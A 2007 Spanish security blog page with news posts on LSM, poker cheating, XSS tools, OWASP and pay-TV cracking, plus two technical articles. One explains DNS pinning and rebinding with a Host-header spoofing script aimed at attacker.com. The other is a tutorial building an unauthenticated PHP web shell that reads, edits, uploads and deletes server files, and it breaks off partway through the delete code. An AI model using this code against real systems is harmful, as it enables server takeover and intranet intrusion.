Hellsparty Planet
Planeta Seguro
RSS

Subscribete por RSS.

O por

Modulos cargados dinamicamente

October 31st, 2007
El siempre polémico Linux Security Modules (LSM) API se debate una vez más sobre el kernel de linux, y sobre su eliminación, lo que Linus Torvalds esta firmemente en contra, pero si debe permitir que los modulos de seguridad se cargen dinámicamente. Como parte de 2.6.24, Torvalds incluyo un parche para convertir LSM en una interfaz estática, sino que ha manifestado su voluntad de volver con ello. El principal problema es si hay seguridad real de los módulos que requieren la capacidad de ser cargados en tiempo de ejecución.

El debate continúa en el módulo de seguridad de Linux. La cuestión es si un módulo de seguridad debe tener la capacidad de carga en tiempo de ejecución? Desde LSM se conecta a las principales partes del espacio del kernel, un módulo cargado podría abrir una vulnerablilidad para un posible ataque.

Leer Articulo completo...

Generador de imágenes en histogramas

October 28th, 2007
Hidden Histogram Picture Maker es un generador de aquellas imágenes tan curiosas que empleando una técnica esteganográfica parecen indiferentes aunque en realidad sus histogramas ocultan la verdadera imagen. Como por ejemplo…

Titanic-Hidden

El Titanic

Titanic-Histo

En los programas de tratamiento de imágenes se pueden «descifrar» los histogramas con la herramienta de niveles de grises (en Photoshop, Comando + L). (Iín Arq Ongpuryqre'f Oybt.)

ExploitMe: Plug-in Test Web App

October 26th, 2007
ExploitMe es un nuevo plugin para firefox que incluye un set de herramientas para el testeo de vulnerabilidades XSS y SQL Injection en aplicaciones web, este nuevo plugin ha sido desarrollado por un grupo de investigadores canadienses, para el analisis de las dos vulnerabilidades mas comunes en sitios webs.

Nishchal Bhall, fundador de Security Compass, y uno de los investigadores involucrados en la nueva herramienta de explotacion, comento que de esta manera sera mas facil el penetration testing de aplicaciones web.

Y teniendo el exploit, o la herramienta adecuada del lado del navegador es especialmente favorable cuando se detectan bugs, como XSS, que es actualmente explotado por el navegador.

Estas son otras buenas herramientas para el web app hacking disponibles de forma gratuita, como Paros Proxy, Burp Suite, y WebScarab, pero a diferencia de ExploitMe, son básicamente herramientas que emulan el navegador. "Ellos interceptan peticiones, y tienden a hacer XSS sobre la base de los datos que recopilan," Bhalla dice. "Ellos emulan un navegador, que es donde ocurrirá con la detección de problemas. ExploitMe es atado dentro del navegador. "

Leer mas:
ExploitMe: Free Firefox Plug-ins Test Web Apps

Trampas en el poker online

October 19th, 2007
The Absolute Poker Cheating Scandal Blown Wide Open es una anotación de Freakonomics en la que se expone el resumen de varios artículos de Steven D. Levitt y algunos hilos en un foro acerca de las trampas en el póquer online. Para ser precisos, habría que decir en Absolute Poker, uno de los muchos sitios donde juega la gente. Parte del interés es que las trampas fueron descubiertas por un grupo de jugadores. El artículo narra con todo detalle el más reciente y –probablemente– monumental escándalo del sector del juego de apuestas en Internet. Es una historia larga y realmente fascinante, cuyo resumen voy a intentar traducir y resumir doblemente:
En un torneo de poker online algunos participantes comenzaron a sospechar de cómo estaba jugando cierta persona, por lo que empezaron a explicar sus jugadas anteriores. La situación era tan increíble que todos los jugadores serios que andaban por allí quedaron convencidos de que algo raro sucedía.

Al terminar el torneo, el segundo clasificado pidió que Absolute Poker proporcionara el historial de las manos repartidas en el torneo (práctica habitual). El sitio «accidentalmente» le envía no sólo el historial de las cartas jugadas en su mesa, sino un historial completo de todas las mesas del torneo, con todo tipo de información «extraña» que normalmente no debería ni querría proporcionar el casino: las cartas ocultas de los jugadores; nombres de usuario de los que estaban observando las partidas e incluso las direcciones IPs de los participantes. Este curioso error probablemente se debió a que alguien en Absolute Poker sabía que había trampas y actuó como chivato desde dentro de la empresa (…)

Tras analizar los datos se vio que el jugador que ganó el torneo se retiraba de las rondas («no iba») cuando aparecía cierto «observador» en la mesa; en cambio siempre apostaba cuando ese observador estaba presente. Los observadores sólo miran y no juegan; tampoco pueden ver las cartas ocultas de ningún jugador. Pero todos los jugadores pueden leer los nombres de usuario de quienes están observando. Ya solo eso podría ser una señal convenida de antemano.

Los propios jugadores, convertidos en detectives particulares, llegan a descubrir que la IP del observador y su cuenta estaban en el mismo sitio que los servidores donde se hospeda Absolute Poker. No sólo eso sino que están a nombre de alguien que resulta ser… uno de los co-propietarios de la sala de poker. De ser todo esto correcto, y parece que hay bastantes pruebas, quedaría explicada la trampa: alguien que trabajaba en la propia empresa tenía acceso a todas las cartas ocultas del juego (algo fácil de imaginar) e iba pasando esa información a la mesa (haciendo entrar o salir al «observador» en la sala virtual, para indicar simplemente «ahora apuesta» o «ahora retírate»). Un cómplice del exterior era quien jugaba. Con la información privilegiada ganó a los demás participantes en el torneo, haciéndose con el dinero.
En una de las situaciones que probablemente más cola traerán sobre el caso además resulta que la cuenta del tramposo está vinculada a una dirección de correo de los servidores de la Kahnawake Gaming Commission. Que es una comisión encarga de… otorgar licencias a casinos y supervisar sus buenas prácticas. Momento adecuado para exclamar un definitivo WTF!!? Para quien le interesen todos estos temas… Y un recordatorio clásico: Internet no es Disneylandia. Actualización: El caso continúa con un giro curioso: el titular es Un geek hackea un sitio de poker online y gana 700.000 dólares (MSNBC). Según Absolute Poker, al parecer el hacker consiguió realizar la proeza técnica de adivinar las cartas ocultas en la mesa de Texas Hold’em. Sí, ese tipo de cosas que es imposible de hacer sobre el software certificado y auditado y bla bla bla… de los casinos online. Afirman que el geek no era otro que un empleado de AbsolutPoker.com (supuestamente agraviado por sus jefes). Dicen que lo hizo «para demostrar que podía hacerse». Hay hasta un vídeos en YouTube con la recreación de las jugadas. Habrá que ver en qué queda la cosa; el juicio es la semana que viene. De momento los dueños del casino (indios mohawks cuya sede está en Costa Rica) han dicho que devolverán el dinero a los jugadores del torneo. (Vía Digg.) Actualización (20 de octubre de 2007): En PowerNews.com: Absolute Poker: «We Had a Security Breach» contiene el texto completo de la breve nota explicativa publicada por AbsolutePoker.com echando la culpa a un fallo de seguridad interno, que es de donde proviene el titular anterior sobre el geek/hacker de MSNBC. Dicen que pronto habrá una nota más completa. Por otro lado, What the Absolute Poker Official Statement Doesn’t Say (Gambling 911) cuenta algunos detalles más: el empleado que envió los datos del torneo fue un poco vago y en vez de seleccionar la información que le pidieron envió todo (lo cual le ha costado el despido fulminante) y además de eso en AbsolutPoker.com niegan la participación en el «problema» de uno de los fundadores de la empresa, vinculación que consideran «malintencionada» por parte de quienes lo han publicado. Más: Gustavo de Póquer Red nos envió algunas matizaciones y explicaciones más detalladas sobre el tema, que reproduzco tal cual:
Según la evidencia, las trampas se realizarían con la participación de dos cacos: un "superusuario" con acceso a una cuenta (la de ID #363) creada para testear el software de Absolute Poker en sus inicios, que puede ver las cartas de todos los jugadores en todas las mesas, pero no así participar en el juego; y un cómplice (PotRipper) que era informado de esas cartas, y que era el que jugaba.

Ambos tenían la misma IP (por lo que con ordenadores vecinos el «chivateo» de cartas estaba consumado). Esta IP sería de Costa Rica, de una casa residencial a nombre de Scott Tom, un ex socio y CEO de Absolute Poker (lo de "ex" lo dice la sala). Luego se descubrió que PotRipper sería otro ex empleado de Absolute Poker, muy amigo de Tom y que ahora estaría en Nine.com, otra sala de póquer (y que se rumorea sería propiedad de Absolute Poker).

La Kahnawake Gaming Commission no está involucrada en la situación, sino que en su territorio se alojan los servidores de Absolute Poker (junto a muchos más de otros casinos y salas de póquer online), por cuestiones legales. Eso hizo que durante la ingeniería inversa del historial de manos apareciera la relación con ella. Pero los tramposos se conectaban desde Costa Rica, lugar donde tiene su sede (sólo la sede, no los servidores) Absolute Poker. Ante la profusion de evidencia, la Kahnawake Gaming Commission impuso una auditoría interna en Absolute Poker (aunque esta última la anunció como si fuera idea propia).

En póquer-red hay varios artículos donde hemos dado seguimiento al tema, muchas veces abrumados por la cantidad de material (son miles y miles los posts en foros). Incluso existe un sitio creado expresamente, AbsolutePokerCheats.com. Lo último es que Absolute Poker reconoció la falla de seguridad y promete devolver el dinero a las víctimas, con intereses. Se especula que la cifra ronda un millón de dólares, pero podría ser más puesto que se están investigando otras situaciones extrañas similares (y un extra de paranoia, claro).
También se ha creado un blog para seguir el caso: (Vía Schneier on Security, que ganaría hasta con J9.)

Google’s Black Box Lemon

October 19th, 2007
Al parecer Google a empezado a tomarse en serio la seguridad de sus aplicaciones, sobre todo despues de estar tras una llovisna de ataques, ahora han desarrollado una nueva herramienta que les permitira descubrir fallos XSS en sus aplicaciones de manera automatica, el nombre codigo de esta herramienta de Fuzzing es Lemon.

Srinath Anantharaju miembro del equipo de seguridad de Google comento en su blog la forma en como se desarrollo esta herramienta, dando principal incapie en la exposicion de las cadenas malformadas que puedan terminar en XSS a traves del analisis de las respuestas como resultado, que puedan ser la evidencia de este ataque.

De igual forma comento que Lemon es altamente personalizable para aplicaciones de Google y no tienen planes para él en el mercado en un futuro proximo.

Google ha sido testigo de una serie de graves errores XSS, algunos de los cuales incluyen una cuenta de AdWords fallo en diciembre, y el mas reciente ataque a Adsense. Que fueron divulgados públicamente y originalmente descubiertos por terceros.

Certificacion OWASP Website Security

October 19th, 2007
La gente de Open Web Application Security Project (OWASP) estan preparando un Framework para evaluar y certificar los sitios web como seguros, en particular sobre los criterios que ellos consideran. El proyecto está todavía en marcha y no estaba listo para la primera ocasion de lanzamiento, pero el objetivo es proporcionar un marco para la certificación de seguridad de un sitio, lo que implica mucho más que el habitual escaneo de vulnerabilidades.
Varias certificaciones comerciales ya existen, incluidos los ScanAlert Hacker's Safe, y ControlScan, que indican que el sitio ha sido escaneado contra vulnerabilidades. Y el Extended Validation SSL (EV SSL), defendido por vendedores de certificados digitales como VeriSign y Cybertrust, ayudan a verificar que el sitio es legítimo.

Pero el iniciar un nuevo marco y nuevos criterios de certificacion que requieren la entrada inmediata de expertos en seguridad de aplicaciones Web, los desarrolladores Web, los sitios de venta, las empresas, e incluso las compañías de tarjetas de crédito, que en la actualidad se centran en conseguir aplicar el PCI Data Security Standard (PCI DSS). Y la adopción de una nueva norma cuestan dinero.

El proyecto OWASP es el bebé de Mark Curphey, que recientemente se a sumado a Microsoft como el jefe del grupo de Servicios de ACE en Europa. "Para los propietarios de los sitios Web es necesario un amplio consenso e impulsar un conjunto de criterios para diseñar, desarrollar, desplegar y mantener condiciones de seguridad en los sitios web", escribe Curphey en la web de OWASP. "Esta reivindicación de los criterios y el cumplimiento de la misma deben ser capaces de ser suministradas a una amplia variedad de interesados, incluidos los clientes, los reguladores y los socios comerciales."

A este proyecto aun le falta en desarrollarse tanto en los ambitos que desean adaptar como en la aceptacion de los administradores de sitios web, pero el objetivo principal es que este Framework de desarrollo se convierta en un estandar de la seguridad de aplicaciones web. Solo falta desearle suerte a OWASP y esperando que hagan el internet mas seguro para todos nosotros.

fuente: OWASP Preps Framework for Website Security Certification

Cinco consejos para mejorar la seguridad de tu ordenador

October 18th, 2007
I will keep my Mac safe from other users es un artículo en la revista Macworld escrito por Joe Kissell, editor de TidBits y autor sobre un libro de seguridad. Incluye cinco consejos que permiten mejorar la seguridad de los Mac frente a otros usuarios «hostiles» de una forma muy sencilla y sin demasiadas molestias. Sencillos consejos que también son aplicables a otros sistemas operativos, que sin duda cuentan con opciones similares:
  • Utiliza la cuenta de administrador sólo para administración.
  • Desactiva el Inicio de Sesión AutomáticoPreferencias > Seguridad > Desactivar el inicio de sesión automático.
  • Guarda las imágenes de discos con el sistema de cifrado.
  • Cifra los archivos importantes (mejor PGP que FileVault).
  • Ata el ordenador con un cable de seguridad a la mesa.
Yo añadiría también activar la petición de contraseña si se activa el salvapantallas (Preferencias > Seguridad > Solicitar contraseña para reactivar el equipo). Abandonar el equipo durante más tiempo de lo previsto es una forma típica de que un hostil pueda cotillearlo. Activando el salvapantallas a 5 minutos se minimiza ese problema. (Vía Schneier on Security a.k.a el boss…, donde además hay muchos enlaces interesantes adicionales.)

Bug en Google Adsense Revelado

October 13th, 2007
Hace poco el investigador de seguridad Gareth Heyes descubrio un agujero de seguridad en el servicio de Google Adsense, en particular se trataba de un CSRF y a traves de un post en un prestigioso foro de seguridad publico la explotacion de esta vulnerabilidad.

Al dia de hoy ya ha liberado un exploit que se encarga de explotar dicha vulnerabilidad a traves de etiquetas de HTML formadas minuciosamente, esto es debido a que Google ya reconocio dicha vulnerabilidad como critica ya que permite realizar multiples clicks en las paginas de Adsense, a traves de Javascripts se logro esta utilidad.

No es sorprendente la rapidez con que Google cubrio esta vulnerabilidad, ya que al tratarse de un servicio de paga y en que una vulnerabildad ahi, puede desencadenar infinidad de casos de fraude en linea.

Heyes nos proporciona una descripcion de su descubrimiento atravez de su blog The Spanner.

Enlace del exploit

Códigos para «crackear» Digital+

October 8th, 2007
Taller de Criptografía recupera en una interesante historia titulada ¿Quién craquea los códigos de Digital+? la época dorada del crackeo de decodificadores de Canal Plus en España de finales de los 90. Como suele suceder con estas historias, por un lado la realidad supera a la ficción y por otro la leyenda entra en el terreno… casi conspiranoico. Al parecer ahora algunos de esos sistemas están siendo crackeados de nuevo y en diversas páginas webs, foros y blogs aparecen claves que sirven para algunos puedan disfrutar gratis de la television de pago. Una buena narración del «culebrón» sobre los diversos crackeos de Canal Plus puede encontrarse en aquella época puede encontrarse en Breaking the pay-TV code-breakers, mencionado en la anotación, que en resumen es más o menos así:
En 1999 comenzaron a venderse tarjetas de Canal+ falsificadas (…) Canal+ investigó y concluyó que el culpable [del crackeo del sistema MediaGuard] era una empresa denominada NDS [News Datacom] (…) consiguieron craquear el sistema, difundir la información por Internet y evidentemente fastidiar muchísimo a Canal+ (…) ¿Es que NDS no tenía nada mejor que hacer? Es posible. Pero resulta que la mayoría de NDS estaba controlada por el magnate Rupert Murdoch, dueño de un imperio mediático y competidor de Vivendi, entonces propietaria de Canal+. Ni cortos ni perezosos, los de Vivendi montaron en cólera y en 2002 presentó una demanda contra la empresa de Murdoch en Estados Unidos, acusándoles de todo y pidiendo más de 3.000 millones de dólares en daños y perjuicios (…) Al final, parece que la demanda fue desestimada.
En cierto modo es también una apasionante historia medio de espionaje industrial, servicios secretos, agentes israelíes, satélites, criptografía, hackers, espías, traiciones, abogados, sospechosos «suicidios», servicios de inteligencia… Aparece Adi Shamir (uno de los inventores del criptosistema RSA), el FBI, Scotland Yard y hasta la Policía Montada del Canadá. Tienen su papel News Corp, la BBC, Sky y hasta el Kaos Computer Club. Y cómo no, se habla de todos los sistemas de la época como Videoguard, Nagra/Nagravision, EuroCrypt, BSkyB, D2Mac y todo tipo de Smartcards o «tarjetas inteligentes» que controlan los derechos de emisión y las compras de los suscriptores. Estos artículos siempre me recuerdan a Satellite Pirates, un clásico entre los clásicos que fue de los primeros artículos que leí en Wired (en su segundo número, era 1994 todavía). Cuenta la historia de los «Robin Hoods» de la era digital que crackeaban los sistemas de cable y satélite americanos a principios de los 90. Es un relato detallado y con unas entrevistas muy interesantes, con algunas de frases que merecen ser revividas de nuevo:

Las ondas deberían pertenecer al pueblo. Si una señal entra en mi casa, yo debería poder hacer con ella lo que me salga de las narices. Y eso no es asunto del gobierno.

(Vía Taller de Criptografía.)

El fin de las tarjetas prepago anónimas de teléfonos móviles (de nuevo)

October 8th, 2007
Dicen en el periódico que 20 millones de clientes de móviles prepago deben identificarse o perderán su número, lo cual es como un déjà vu de hace más de cuatro años, cuando se auguraba en 2003 el fin de las tarjetas prepago anónimas del que no se volvió a saber nada más. El artículo menciona una frase clásica «la ley, pensada para perseguir delitos de terrorismo o crimen organizado…» que demuestra la ignorancia de quien intenta cambiar con leyes cuestiones técnicas, como el hecho de que el «anonimato en Internet» es y será siempre posible, a pesar de que a veces por desgracia de lugar a todo tipo de abusos. Existiendo los cibercafés, locutorios, redes Wi-Fi abiertas y sistemas de telefonía por Internet, por no hablar de otros países en que se puedan comprar (o clonar, o robar) teléfonos móviles sin identificación, la medida se antoja tan absurda como ineficiente. (Vía Reflexiones e irreflexiones.) Actualización: La Ley en cuestión ha sido aprobada. Anotaciones interesantes al respecto:

DNS Pinning Explained

October 4th, 2007
Ronald Koh y otros tipos me han pedido recientemente hacer un relato sobre DNS Pinning aka, principalmente para evitar las politicas que lo originan con el Anti DNS Pinning. Esto no es nada realmente nuevo y algunas explicaciones de esta tecnica estan escrita ya, yo pienso que es una buena idea hablar sobre esto de nuevo, principalmente por dos razones.

Primeramente, este tema es sabido que mantiene un alto grado de complexidad y solamente un muy limitado numero de individuos actualmente comprenden de que se trata. Por lo tanto atraer la atencion de la gente hacia el no seria seguramente inorportuno.

Segundo, esto no es una solucion de prueba para proteger otra vez esto y mas la gente que comprende esto sabe de que se trata, lo grabe son los cambios que podrian darse iyendo a una solucion en algun futuro. Cuatro ojos probablemente ven mejor que dos, comienzo.

La misma politica de origen en un acceso registringido implementado en los navegadores mas modernos para prevenir la carga de un script de un origen para accesar a documentos de un origen diferente en alguna busqueda. Por lo tanto, esto no es posible fijar o no tomar informacion de un origen foraneo. Sin embargo, desde hace tiempo esta medida de seguridad en primer lugar ha sido inicializada creo que por Netscape, los investigadores de seguridad tienen una significante espectacion para encontrar maneras de puentear esta restriccion. Uno de los resultados finalmente son Anti DNS Pinning y despues en Anti-Anti-Anti DNS Pinning, ambos explotando algunos otros mecanismos de seguridad de los navegadores modernos, llamado DNS Pinning.

Ahora puede sonar razonable empezar explicando que es el DNS Pinning actualmente, afortunadamente este fuera de turno es bonito y facil con un bit de la informacion no mostrada en el Sistema de Nombres de Dominios(DNS por sus siglas en ingles). Donde algunas peticiones a un website llamado como www.example.com, el navegador necesita resolver un DNS Lookup en ese dominio para tomar la direccion numerica asociada (IP) de el server de ese host la pregunta al website. EN el siguiente paso, el navegador envia una consulta a esa IP eso ultimo contiene el dominio, una pagina web especifica y otras variables para ser ultimamente retiradas de los datos de peticion.

Deja asumir las operaciones de busqueda del DNS en www.example.com proporciono la IP 111.111.111.111. Una peticion HTTP normal es enviada por el navegador a www.example.com puede parecer esto:

GET / HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0 (Windows; U;
Windows NT 5.1; de; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4
Accept:
*/*
Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding:
gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive:
300
Connection: keep-alive
Cookie: secret authentication token 12345



Aqui es donde el DNS Pinning entrar en el juego. Como unatentativa de la proteccion otra vez Anti DNS Pinning, la cache del navegador tiene el par de hostname-a-ip hasta que la ventana del navegador se cierra, sin importar de que el actual DNS Time To Live (TTL) es puesto. Tengo visualizado un escenario donde esa proteccion de DNS Pinning otra vez falle below. En este ejemplo un atacante corre www.attacker.com apuntando a la direccion IP 222.222.222.222.
Por otra parte el tiene total acceso a la entrada del servidor DNS, que es puesto a TTL (DNS Timeout) de 1 segundo. Donde viendo ese sitio web en un navegador, Javascripts malicioso puede ser ejecutado por la peticion del navegador para conectarlo detras en 2 segundos y entonces responder con los datos devueltos a otro servidor diverso con el control del atacante.




1) El navegador del usuario se conecta con www.attacker.com y realiza sus operaciones de busqueda del DNS para esa URL que recibe 222.222.222.222 con un TTL de 1 segundo.


2) El javascripts dice al navegador que se conecte de nuevo a www.attacker.com despues de dos segundos, poco despues de que el TTL expiro.


3) Puesto que el DNS no es un valido mas largo, el navegador del usuario se conecta con el servidor del DNS para preguntar donde www.attacker.com esta localizado.


4) El servidor DNS responde con 111.111.111.111, que apunta a www.example.com


5) El navegador del usuario se conecta con 111.111.111.111 que envia una cabezera como:

GET / HTTP/1.1
Host: www.attacker.com
User-Agent: Mozilla/5.0 (Windows; U;
Windows NT 5.1; de; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4
Accept:
*/*
Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding:
gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive:
300
Connection: keep-alive


Ahora lo importante es notar que aqui el host se ha cambiado a www.attacker.com en de www.example.com y ademas de falta la cookie. Debido al hostname-a-ip ubicado en la cache del navegador, el DNS Pinning es prevenido en las segundas operaciones de busqueda de www.attacker.com que es porque este ataque fue condenado por fallar desde el principio.


Anti DNS Pinning
Segun lo he mencionado anteriormente, Anti DNS Pinning es contra lo que significaba el DNS Pinning para proteger - forzando al navegador a solicitar una entrada manipulada del DNS e.g. haciendolo creer otra vez que expiro su cache.


Bien, el 14 de Agosto del 2006, Martin Johns descubrio un concepto de como esto puede ser hecho. El esencialmente descubrio que el DNS Pinning solamente trabaja a condicion de que el servidor web este realmente en linea y disponible. En la mano esto tiene sentido porque si el servidor parece estar caido, las nuevas operaciones de busqueda del DNS son necesarias para descubrir si ha cambiado o se han movido de cierta manera. Sin embargo por otra parte un atacante puede cerrar su servidor siempre que lo desee y de ese modo evita el DNS Pinning del DNS del navegadores del usuario. Una vez mas visualizo este ataque:


1) El navegador de los usuarios se conectar con www.attacker.com y realiza sus operaciones de busqueda de DNS para la URL que recibe 222.222.222.222 con un TTL de 1 segundo.


2) El javascripts le dice al navegador que se conecte de nuevo a www.attacker.com despues de dos segundos, poco despues el TTL expira. Despues de que el servidor ha dicho al firewall sobre si mismo.


3) El DNS Pinning ahora ha caido Anti DNS Pinning. Puesto que el DNS no es un numero valido muy largo, el navegador del usuario se conectar con el servidor DNS para preguntar por www.attacker.com donde esta localizado.


4) El servidor DNS responde con 111.111.111.111, apuntando a www.example.com


5) El navegador del usuario se conecta a 111.111.111.111 que envia una cabecera como:

GET / HTTP/1.1
Host: www.attacker.com
User-Agent: Mozilla/5.0 (Windows; U;
Windows NT 5.1; de; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4
Accept:
*/*
Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding:
gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive:
300
Connection: keep-alive


Puesto que ahora la IP ha cambiado, el XMLHttpRequest atacante esta leyendo un web site diferente (www.example.com), aun cuando el navegador cree que sigue siendo el mismo. Ahora puedes entender porque inicie este articulo explicando cual es la politica de origen. Podemos romperla usando Anti DNS Pinning.

De todas formas, vamos a resaltar algunas cosas. En primer lugar, el host se cambia a www.attacker.com en vez de www.example.com, mas alli es mejor porque el dato de la cookie no es enviado en la cabecera. Tomar esto en consideracion, pueden preguntarse que haria una persona cualquiera con Anti DNS Pinning en vez de solicitar www.example.com.

Bien, de hecho Anti DNS Pinning del DNS, el atacante no esta haciendo nada bueno a menos que estemos hablando de una intranet o de otra manera los websites serian restringidos por IP, por lo cual el atacante no se podria conectar porque el sitio no es accesible al publico. Aqui es donde Anti DNS Pinning llegar a ser realmente peligroso. En vez de apuntar a www.example.com, podriamos lanzar posiblemente un ataque contra intranet.example.com, que es considerado realmente ser seguro puesto que recide detras de un firewall.

No solo podemos leer los datos contenidos en esas paginas protegidas si no tambien utilizar la informacion para lanzar ataques Cross Site Request Forgery contra usos del intranet.

Kanatako proporciono un buen ejemplo de como trabaja esto en su website. Yo recomiendo checar esto.
http://www.jumperz.net/index.php?i=2&a=1&b=7

Adicionalmente el describe en sla.ckers.org como trabaja su script detalladamente. Si lo lees cuidadosamente, veras que es exactamente lo que acabas de aprender mientras estabas leyendo.

Anti Anti DNS Pinning
El nombre indica sobre de que trata esta tecnica. Alguna gente que se inicia piensa de como Anti DNS Pinning se podria prevenir y terminar con la comprobacion si la cebecera del host es correcta. Recordar que esta se ha cambiado a www.attacker.com y asi que indica un ataque.
Ciertamente no se porque siempre es www.attacker.com pero simplemente porque la cabecera del host diferencia de de el que ha sido permitido por el administrador del servidor.

Anti Anti Anti DNS Pinning
Desafortunadamente esta cabecera puede ser spoofeada facilmente en mas de una forma de modo que la tecnica previamente descrita no resulte ser muy eficaz. Amit Klein publico un post en Bugtraq donde demostro como spoofear el host en MSIE usando XMLHttpRequest o en flash.

<script>
var x = new
ActiveXObject("Microsoft.XMLHTTP");
x.open(
"GET\thttp://attacker.com/\tHTTP/1.0\r\nHost:\twww.example.com
\r\n\r\n,
"http://www.attacker.com/",
false
);
x.send();
alert(x.responseText);
</script>


Espero que este articulo pueda ayudarte a conseguir una comprension del DNS Pinning y sus mutaciones. Sin embargo si tu piensas que esto es una construccion teorica, estas muy equivocado. Chequar RSnakes stories, especialmente Death By 1000 Cutts.

Good luck!!

Autor: christ1an


Seguridad, timos y esas cosas de Internet en RadioVoz

October 2nd, 2007
Esta mañana he sido invitado a participar en Voces de Galicia, el programa de Radio Voz que dirige Isidoro Valerio, para hablar acerca de phishing, estafas y otros temas similares en Internet. Voces de Galicia se emite de 11:00 a 13:30, y en principio mi intervención está programada para la primera parte del programa, que se puede escuchar a través de Internet, aunque en cualquier caso luego intentaremos colgar aquí el audio. Actualización: Aquí está el audio de la entrevista con varios invitados, que dura unos 30 minutos, Voces de Galicia (2 de octubre) [MP3, 11 MB]. [La grabación tiene algunos microcortes, sobre todo al final, pero está prácticamente completa.]

Programando una PHPShell

October 1st, 2007
Una phpshell es un administrador de archivos mediante una interfaz web, utilizando una shell de este tipo es posible tener un acceso y control total del servidor donde esta se interprete, es posible programar shells de este tipo en diferentes lenguajes del lado del servidor, en este post veremos como programar una shell en php, y proximamente una shell en jsp, para empezar tengo que decir que el lector debe de tener ligeras nociones del lenguaje PHP.
Un administrador de archivos como lo es una phpshell es posible listar directorios, modificar archivos y crearlos sin problemas, pero este tipo de administradores no ejecutan comandos tal como la hacen programas como cmd y /bin/bash, si no, utilizando caracteristicas del lenguaje PHP es posible emular estos comandos.

Para listar directorios en PHP se utiliza una funcion llamada opendir() que recibe por parametro el directorio que se desea abrir temporalmente para su lectura con otra funcion llamada readdir().

<?php
$dir=opendir('.');
while($archivo=readdir($dir)){
echo "$archivo<br>";
}
?>


Una vez que hemos listado el directorio actual de trabajo, podemos realizar ciertas acciones sobre los archivos existentes en ese directorio. Una de estas acciones es provocar la edicion de algun archivo que se pase por parametro, obviamente este archivo de tener codificacion ascii y se encuentre en texto plano, ya que no podremos editar archivos que se encuentren codificados o sean archivos especiales para algun programa externo al lenguaje PHP.

Para realizar estas acciones debemos de hacernos de un codigo mas rebuscado y un poco mas general, con opciones que utilizaremos a lo largo de nuestra shell.

En este ejemplo vemos como podemos visualizar cualquier tipo de archivo en texto plano con nuestro navegador web:

<?php
switch($_GET["op"]){
case 'view':{
$fc = @file( $_GET["file"] ); while ( @list( $ln, $line ) = each( $fc ) ) {
echo parse(@htmlentities($line))."<br>\n";
}
break;
}
default:{
$dir=opendir('.');
while($archivo=readdir($dir)){
echo '<a href='.$_SERVER["PHP_SELF"].'?op=view&file='.$archivo.'>'.$archivo.'</a><br>';
}
}
}
function parse($instruccion) { return str_replace(" ", "&nbsp;", $instruccion); }
?>

Esta nueva opcion de visualizacion recibira un archivo por parametro para posteriormente leerlo linea a linea y convertir su contenido a HTML, para que pueda ser visualizado por el navegador.

Ahora proseguiremos a programar la opcion de editar archivos, esta nueva opcion no dista mucho de la opcion de visualizacion, pero para ello deberemos utilizar etiquetas de formularios en HTML para por llevar acabo la edicion.

case 'edit':{
$contents = "";
$fc = @file( $_GET["file"] );
while ( @list( $ln, $line ) = each( $fc ) ) {
$contents .= htmlentities( $line ) ;
}
echo "<br><center><table><tr><td NOWRAP>";
echo "<form action=\"".$_SERVER['SCRIPT_NAME']."\" method=\"GET\">\n";
echo "<input type=\"hidden\" name=\"op\" value=\"guardar\">\n";
echo "<strong>ARCHIVO A EDITAR: </strong>".$_GET["file"]."<br>\n";
echo "<textarea rows=\"25\" cols=\"95\" name=\"contents\">$contents</textarea><br>\n";
echo "<input size=\"50\" type=\"text\" name=\"file\" value=\"".$_GET["file"]."\">\n";
echo "<input type=\"submit\" value=\"Guardar\">";
echo "</form>";
echo "</td></tr></table></center>";
break;
}
case 'guardar':{
$fo = fopen($_GET["file"], "w");
$wrret = fwrite($fo, stripslashes($_GET["contents"]));
$clret = fclose($fo);
break;
}

Agregamos dos nuevos case's para poder llevar acabo la edicion del archivo, en el primer case realizamos un formulario que contiene los datos actuales que contiene el archivo, desde ahi podemos realizar la edicion de archivos, al guardar los cambios en el formulario se utiliza el segundo case llamado guardar que recibe el nombre del archivo y su contenido mediante un array del metodo GET del formulario, con este array abrimos el archivo en modo de escritura y guardarlo con los cambios realizados.

Para administrar de manera satisfactoria todas las opciones que un administrador de archivos debe tener, por ejemplo, crear archivos, eliminarlos, descargarlos, subir nuevos archivos, renombrarlos y ejecutarlos en caso de que sean archivos binarios, para entonces vamos a crear los case's para poder realizar estas opciones.

<?php

if($_POST["upload"]=='upload'){
if (isset($_FILES['archivo']['tmp_name'])) {
echo 'Tipo de archivo: <b>'.$_FILES['archivo']['type'].'</b><BR>';
copy($_FILES['archivo']['tmp_name'], './'.$_FILES['archivo']['name']);
$subio = true;
}
if($subio=true){echo'El archivo subio satisfactoriamente';}else{echo 'No SUBIO';}
}

switch($_GET["op"]){
case 'new':{
if(empty($_GET["form"])){
echo '
<h4>Introducir el nombre del archivo</h4>
<form action="'.$_SERVER["PHP_SELF"].'" method="GET">
<input type="hidden" name="op" value=new>
<input type="hidden" name="form" value="1">
<input type="text" name="file" value="archivo.txt">
<input type="submit" value="Crear archivo">
</form>
';
}else{
$file = fopen($_GET["file"], "w+");
if ($file == false)
echo "No se puede crear el archivo<br>";
else
echo 'Archivo creado satisfactoreamente: "'.$_GET["file"].'"<br>';

}
break;
}
case 'del':{
if ($_GET["auth"] == "yes") {
if (@unlink($_GET["file"])==false) {
echo "No se puede remover el archivo \"".$_GET["file"]."\"<br>";
}
else {
echo "Removido satisfactoriamente \"".$_GET["file"]."\"<br>";
}
}
else {
echo "Estas seguro que deseas eliminar el archivo \"".$_GET["file"]."\" ?
<form action=\"".$_SERVER["PHP_SELF"]."\" method=\"GET\">
<input type=\"hidden\" name=\"op\" value=\"del\">
<input type=\"hidden\" name=\"file\" value=\"".$_GET["file"]."\">
<input type=\"hidden\" name=\"auth\" value=\"yes\">

